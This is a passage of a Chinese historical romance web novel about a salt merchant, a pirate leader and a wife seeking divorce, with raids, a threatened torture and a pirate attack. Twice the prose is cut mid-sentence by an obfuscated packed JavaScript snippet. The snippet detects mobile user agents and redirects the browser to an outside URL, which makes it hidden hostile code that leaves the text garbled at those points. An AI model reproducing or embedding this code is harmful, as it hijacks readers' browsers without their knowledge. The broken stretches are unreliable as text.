谢昭盯紧那两个鲜红刺目的指印，眼中满是仇恨。 “哈哈！好！痛快！”曹劲拿起两份血书，得意洋洋地欣赏着，“老子说话算话！给他们一条船，让他们滚！” 三人被推搡着押往码头时，一艘破旧的小船已被放下水。为防曹劲动手脚，李清白执意要跟着他们上船，安全交接后才能放心回去。 她用力将谢昭推上元旌所在的船，握住他手低语：“相信我，我有办法脱身。你们先回去，等我消息。” 谢昭反手想抓住她，却被她猛地推开。 小船缓缓离岸，他趴在船沿，死死盯着那抹越来越模糊的身影，浑然不知曹劲早已按捺不住躁动的□□。 李清白人还未坐定，曹劲已饿虎扑食般扑了上来：“小娘子，这下你可是老子的人了！” 她知道蛮力硬拼也不是曹劲的对手，更知道拼命挣扎叫喊只会让他更兴奋，于是反而安静得像一条死鱼一般，只用绝望而轻蔑的眼神瞪着他： “我原以为曹帮主一代枭雄，如今看来，与那些市井无赖有何区别。” 曹劲立时停下了动作，沉了面道：“你什么意思？” 李清白抬起下巴，字字铿锵：“我虽非出身名门，却也知礼义廉耻。英雄娶美，讲的是你情我愿，风光体面。曹帮主若真有本事，便堂堂正正让我心甘情愿跟你，而不是像对待俘虏一样用强。否则，若是传出去，岂不惹天下好汉笑话？” 她顿了顿，声音提高了几分：“还是说，曹帮主对自己毫无信心，觉得不用强，就根本留不住一个女人？” 曹劲脸上风云变幻，最终哈哈一笑，强行压下怒火和欲念，故作大度：“好！老子就喜欢你这份傲气！等着瞧，不出三天，老子定叫你心甘情愿！” 回岛后，曹劲命人安排了一桌丰盛的海鲜盛宴，为她接风洗尘。食物虽丰盛，才经历了一番血雨腥风的她显然并没有胃口，只象征性地在每道菜上动了两下，免得惹他不快。 饭后，曹劲又兴致勃勃要带她“巡岛”，这倒令她心念大动。 从囤积粮食物资的洞穴仓库，到看守严密的火器库，再到规模不小的晒盐场和堆积如山的盐仓，曹劲无不骄傲自豪。 他抚髯追忆往昔，说起自己如何从一条破船、几个小弟，被官府逼得走投无路落草为寇，硬生生在这海上杀出血路，攒下这份“家业”时，更是唾沫横飞。 李清白默默听着，看着那些深夜仍扛着盐包步履蹒跚的帮众，不由得想起谢昭。 当年他也是这般发迹，一步步爬到许灵阶身边的么？ 行至岛后僻静处，一面朝向苍茫大海的陡坡上，赫然立着数十座粗糙的无字石碑。李清白见曹劲迅速收敛起得意，脸色沉郁而肃穆，好奇道：“这是……” “都是跟过老子、死在倭寇手里的兄弟。”他声音低沉，带着刻骨的恨意，“有些是为了抢盐路，有些……就是那帮畜生摸上岸来烧杀抢掠！连尸首都带不回，许多人连名字也不知道，只能立块无字碑，让他们看着！” 他指着大海，眼中烈火熊熊：“看着老子总有一天杀尽那帮倭寇，用他们的头，祭奠弟兄们的在天之灵！” 李清白心中剧震，看向曹劲的目光变得复杂。 在他野蛮血腥的外皮之下，原来也埋藏着民族之义、袍泽之情。 那么谢昭呢？ 他也会怜悯，也会动情吗？ 她神思恍惚，忽听得耳畔风声大作，一名浑身湿透的小弟如丧家之犬般爬了过来：“帮主！不好了！那个病秧子，竟带了好多人，趁夜攻上岛来了！” 曹劲大怒：“吃了熊心豹子胆了，敢在老子的地界撒野！我们的火弹炮筒呢？争先队呢？” 小弟声带哭腔：“他们不是寻常打法！咱们的火弹还没填好，他们的快船就像鬼影子一样贴过来了！箭矢跟长了眼睛似的，专射咱们操炮的弟兄！” 又抹泪道：“他们还在水下埋伏了人，悄无声息就摸上来，把咱们系船的缆绳全割了，好几条船顺着潮水漂走撞在一起，乱成一团！岸上的弟兄刚点起火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359738|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把想看清楚，就被他们用弩箭射穿了！他们……他们好像知道咱们每一处要害，打起来又准又狠，咱们这是要被连窝端了呀！” 曹劲踹起一飞脚，破口大骂道：“没出息的狗东西！长他人志气，灭自己威风。老子这就去会会那季霜，就算死也要死个明白！” …… 李清白随曹劲来到船坞，火光映照下，只见数十条黑影如鬼魅般穿梭，正是那些雷厉风行的谢府府卫。 他们身着统一的深色水靠，动作迅捷而高效，持弩箭、腰刀、镋钯、手铳等，成组击杀，配合无间，曹劲的精锐部下顿时溃不成军。 她心下骇然，这些人身上有种视死如归的铁血煞气，仿佛只为杀戮而生，以最微小的代价获取最极致的胜利。 曹劲眼见老巢不保，攥紧手中那把鬼头大刀，怒喝一声便要往前冲，忽听一道清冷的声音自阴影处传来： “曹帮主，何必做困兽之斗？” 众人循声望去，谢昭自硝烟与火光中缓步走出。 他着一身蜜蜡金四出纹曳撒，披香色凤鸟纹比甲，头戴青花纻丝窄檐大帽，与这血腥战场格格不入。他闲庭信步地走到曹劲身前，俊美无俦的面容镀上一丝狡诈： “怎么，曹帮主看起来很生气啊？” 曹劲被墨卫缴了刀捆了绳，挣扎着怒吼：“季霜！你个阴险小人！竟敢偷袭老子！” 谢昭轻轻挑眉：“兵不厌诈，曹帮主纵横海上多年，莫非连这个道理都不懂？况且，谢某此来，只是讨还旧债，拿回属于自己的东西。” 曹劲呆滞着变了脸色：“谢某，谢……你是，江都来的谢爷？” 他惊惧跪地：“谢爷！小人有眼不识泰山，小人该死啊！” 谢昭冷笑：“只要曹帮主肯归还谢某的人和东西，有些事可以既往不咎。如若不然……” “……人和东西？敢问谢爷何意？” “八日前丑时末，黑石礁附近，我从丰纯场支的五船货，连船带人，可是被曹帮主笑纳了？” 曹劲掐指算过，随即一愣：“那日我们根本没出过海呀！更不可能去劫您的船队！” “可有人曾目击，当晚盐帮的人在事发河道出没，行些杀人越货的勾当。这一代除了曹帮主，恐怕没人敢劫我谢家船。” 曹劲连连磕头：“谢爷，冤枉啊！您，您是首辅大人跟前的红人，就是借我一百个胆子我也不敢呐！” “我们搜遍了这里也不见痕迹。说，把东西藏到哪去了？装运卖给了谁？船上的人是死是活，身在何处？若是性命有失，我便让你血债血偿！” 曹劲吓得不轻，见李清白一副同情模样，忙爬过去磕头：“夫人，夫人，我们真的不敢劫船哪！” 未及她开口，谢昭已命人将曹劲死死压跪在地，逼他连磕了十个响头，额上鲜血直冒。又有几人迅速从尚完好的灶房里抬出那口大铁锅，架在残火上，倒入清水，火烧得极旺，眨眼间锅内热水便翻滚起泡。 “或许，曹帮主也需要先暖暖身子，记忆才能恢复。” 不等谢昭下令，已有人如老鹰捉小鸡般拎起曹劲，欲行活煮之刑。 24. 救场 曹劲方还惊吓过度，生死之际，倒也冷静了下来，悲笑道：“哈哈哈！老子这一生，什么没经历过，什么没享受过，到头来死在谢爷手上，也值了！” 又垂头红了眼眶，呢喃道：“燕燕，小花儿，我这就来找你们。” 李清白凝视着淡如止水的谢昭，只觉这些天来的温存皆是幻象。 她曾无数次希望他是个好人，也曾无数次相信他的温柔与真心，可这一刻站在她面前的依然是那个杀人如麻的铁血盐枭，视财如命的冷酷商人。 她错看了他。 她挺身挡在曹劲身前，慷慨道：“谢昭，以暴制暴、严刑逼供，你和他又有什么两样？曹帮主或许有过，但亦有功。他据守此岛，屡抗倭寇，护卫一方海疆，岛上这些无字碑便是明证！” 她领着谢昭来到那片无字碑前，他神色却依旧冷漠。 “所以呢？他的一面之词，你也敢全信？若我说他勾结倭人，这些无字碑皆是为倭人所作，你可有办法推翻？” “我……可他的壮怀激奋，难道是演出来的吗？” “念念，我只是想说，耳听未必为实，不要轻信于人。” “你没资格叫我念念。” 李清白偏过头去，奋力压下翻涌的眼泪：“是，我就不该信你。我竟然会信，你也有悲天悯人的一面。” 谢昭脸上终于起了变化，每一个字音都在颤抖：“我……我没想着要杀他，逼供只是下策，可那五船货对我真的很重要。” “夹带私盐，一本万利，丢船如丢命是吧？被曹劲百般折辱，便以牙还牙是吧？你无需解释，更无需粉饰。谢昭，我和你，本来就不是一路人。” 谢昭慌忙去牵她的手，柔夷软骨却如握不住的黄沙，将他双眼迷得生疼。 “念念，念念！” 李清白将他推得很远：“我已经说过，不要再叫我念念。还有，谢昭，我们已经和离了。” 谢昭沉默片刻，黯淡的眸子忽而亮起：“季霜与赵念念和离，关谢昭和姜越什么事。” 李清白冷硬道：“你休要狡辩，这海岛百余人皆是见证。从今往后，我们再无关系，各走各的路吧。” 谢昭单薄的身子被海风吹得摇摇欲坠，他从懵然中觉醒，不顾李清白挣扎，紧紧抓住她的手：“我不同意！” “我意已决。你这样的人，不配拥有别人的真心。” 他喃喃道：“我已经无路可退了……念念……” 李清白厌嫌地挣开，谢昭却红着眼将她拦腰抱住，用尽平生力气。 “你别走！我把一切都说给你听……” 二人纠缠间，岸边却传来一阵响动。 片刻后，一名浑身是血的男子气息奄奄地爬了上来。 只见他衣衫褴褛，身上多处伤口深可见骨，艰难地抬起头，露出一张因失血过多而惨白扭曲的脸，嘴里发出微弱的声音：“救……命……倭……寇……” 说罢便晕了过去。 二人赶忙将此人抬进屋救治，待其清醒后，才问清他是丰纯盐场的一名灶户，因场署苛待屡次逃跑未遂，今次本以为能脱离苦海了，谁想跑到一半遇上三个掌船的倭人，拼死才游到了这里。 “倭人？他们不是消停很久了么？怎么又出来造次了？” “一个月前还风平浪静，自上月月中又开始活跃，也不知是从哪里蹦出来的，截了不少从盐场跑路的兄弟，现下也不知他们身在何处。” “你这伤都是他们弄的？” “不，在盐场时，顶烈日、冻海风、做苦力、挨打骂都是家常便饭，日子久了便活不成了，所以我们才要拼命逃跑。我还算幸运，能得二位恩人相救，那些一同逃跑的兄弟，可就凶多吉少了，就算没被倭人抓走，也会被抓回场署处决。” “处决？他们有什么权利处决？” “他们的权利可大着呢！大家不堪受苦，逃跑的人越来越多，场署大使起先还只是当众责打，而后开始集中斩杀，说是杀鸡给猴看。明日晌午他们会再处决一批人。” 李清白思忖半晌道：“明日我便去救人。” 谢昭出言阻拦：“你一个姑娘家，拿什么去救？要去也是我去，你好好待着。” “少在那装好人。你和那些人蛇鼠一窝，指不定杀了人还要帮他们拆骨剥肉。” “你跟我过来，我把这些年发生的事都告诉你。” …… 二人僵持不下，李清白打死也不跟他走，谢昭只得将她打横抱起，随便找了间空屋，反锁屋门，在角落里四目相对。 谢昭卸下所有棱角，用温和又脆弱的眸光包裹住她：“念念，其实这些年来，我处心积虑坐上两淮第一盐商之位，为许灵阶排除异己、杀人越货，只是为了爬到他身边。” 李清白偏过头不去看他：“谢昭，你倒是挺会编的。你帮他运私盐杀同僚，他帮你行方便贪巨利，一场赤裸裸血淋淋的利益交换，何必说得那样好听。” 谢昭双手扶上她双肩，恳切道：“我是行了不少罪恶，可那也是为了阻止更大的罪恶。等这一切都结束，念念，我愿意尽我所能去赎罪，只要你还在我身边。” 李清白缩身挣脱，不知从哪摸出来一支毫笔：“你不用再狡辩了。你若说那和离书无效，我现在就去再写两份，署上你和我的姓名，童叟无欺。” 趁她去找纸墨的工夫，谢昭再也按捺不住心中翻滚的情绪，将她紧紧揽在怀中，将双唇贴了上去。 李清白只觉一股柔软的热潮攀上了她的唇尖，瞬间侵袭她全身每一处角落，让她的羞怯无处可藏。她几乎忘记了她是谁，也忘记了谢昭是谁，只知道自己就该同等热烈地回应他，与他肆意交换最原始的赤诚与渴望。 喘息间，谢昭用摄人心魄的眼神勾住她，低低道：“嗯？还要与我和离吗？” 她这才如梦初醒般抚着自己的嘴唇，气恼道：“谢昭，你——” 他又欺身吻了上去。 “还离吗？” 李清白闪躲不能，索性与他吻了个痛快，趁机咬住他舌尖，恨恨道：“离。” 谢昭吃痛松开，半是嗔笑半是怒地看着她：“你可以试试，再多说一次。” “离！我…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374779|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唔……” …… 翌日辰时一刻。 夏荫坐在李清白身侧，见她对着那碗蛤蜊汤面发呆，不解道：“这是怎么了？魂不守舍的。” 李清白木讷地舔了舔还有些发肿的嘴唇，尴尬掩饰：“啊，没什么，在想待会怎么和场署大使交涉。” 谢昭适时走了进来：“我们不是说好，你就在这待着么？阿夏，你陪陪她。” 李清白瞪了他一眼：“不行，我得去。我怎么知道你偏帮谁。” “你晕船晕得厉害，我不许你去。” “那我就让曹劲再帮我准备一条船，偷偷跟着你们去。” 谢昭无奈，只得满岛搜刮预防晕船的药物，由着她上了船。 行程未半，李清白仍旧晕得厉害，再也忍不住胃里翻江倒海的折腾，趴在船沿吐了个昏天黑地。 谢昭一面替她舒背，一面心疼责怪：“我叫你别出来，偏不听我的。” 李清白好不容易才把胃里吐空，虚弱地倒在他肩上：“是你自己说的，不要轻信于人。如若不是亲眼看着他们得救，我是不会信你的。” 谢昭揽过她的头轻柔抚摸：“念念，你可以信我的。” …… 船在呼号的海风中靠了岸。丰纯场在烈日下展开一片灰白相间的辽阔滩涂，远处盐田如镜，映着天光云影。 无数灶户赤着上身，在盐田与灶房间佝偻劳作，汗水混着盐粒滚落，被炽热的土地迅速吞没。空气中弥漫着海腥与苦涩的盐味，偶尔传来监工粗厉的呵斥，沉闷而压抑。 一行人尚未行至场署衙门前，便见一阵骚动。几名衣衫褴褛、脚带镣铐的灶户被兵丁粗暴地拖拽到空地中央，捆在木桩上，吓得连连求饶。 身着青色官袍、面色冷峻的场署大使正拂袖而立，厉声道：“逃役一次，鞭刑三十；再逃者，以儆效尤，杖毙不论！” 沉重的杀威棒应声抬起，眼看就要落下。 曹劲见状，大步上前，依照先前商议，抱拳粗声道：“大人且慢！” 他身形魁梧，声若洪钟，顿时吸引了所有目光。 “俺是虎啸帮的，帮里扩招人手，正缺这等身强力壮的。这几个既然大人要处置，不如卖给俺们帮里做苦力，换几个钱，也好过白白打死。俺们自有法子报他们个‘逃亡途中伤重不治’，绝不给大人添麻烦。” 谢昭隐在帮众之中，冷眼静观全场。 场署大使眯起眼，打量着曹劲及一众盐帮子弟，在心中仔细权衡这桩交易。 就在此时—— “呜——呜——呜——” 尖锐急促的铜铃号角声骤然划破盐场上空，凄厉得令人心惊。紧接着，一声震耳欲聋的炮响从天边炸开，大地仿佛随之震颤。 “趴下！”谢昭低吼一声，反应快得惊人，将身旁的李清白扑倒在地，用脊背牢牢护住她。 丰纯盐场瞬间陷入一片恐慌的混乱。灶户惊叫着四散奔逃，监工和兵丁也乱了阵脚，惊呼声此起彼伏： “倭寇！是倭寇来了！” “快！抄家伙！”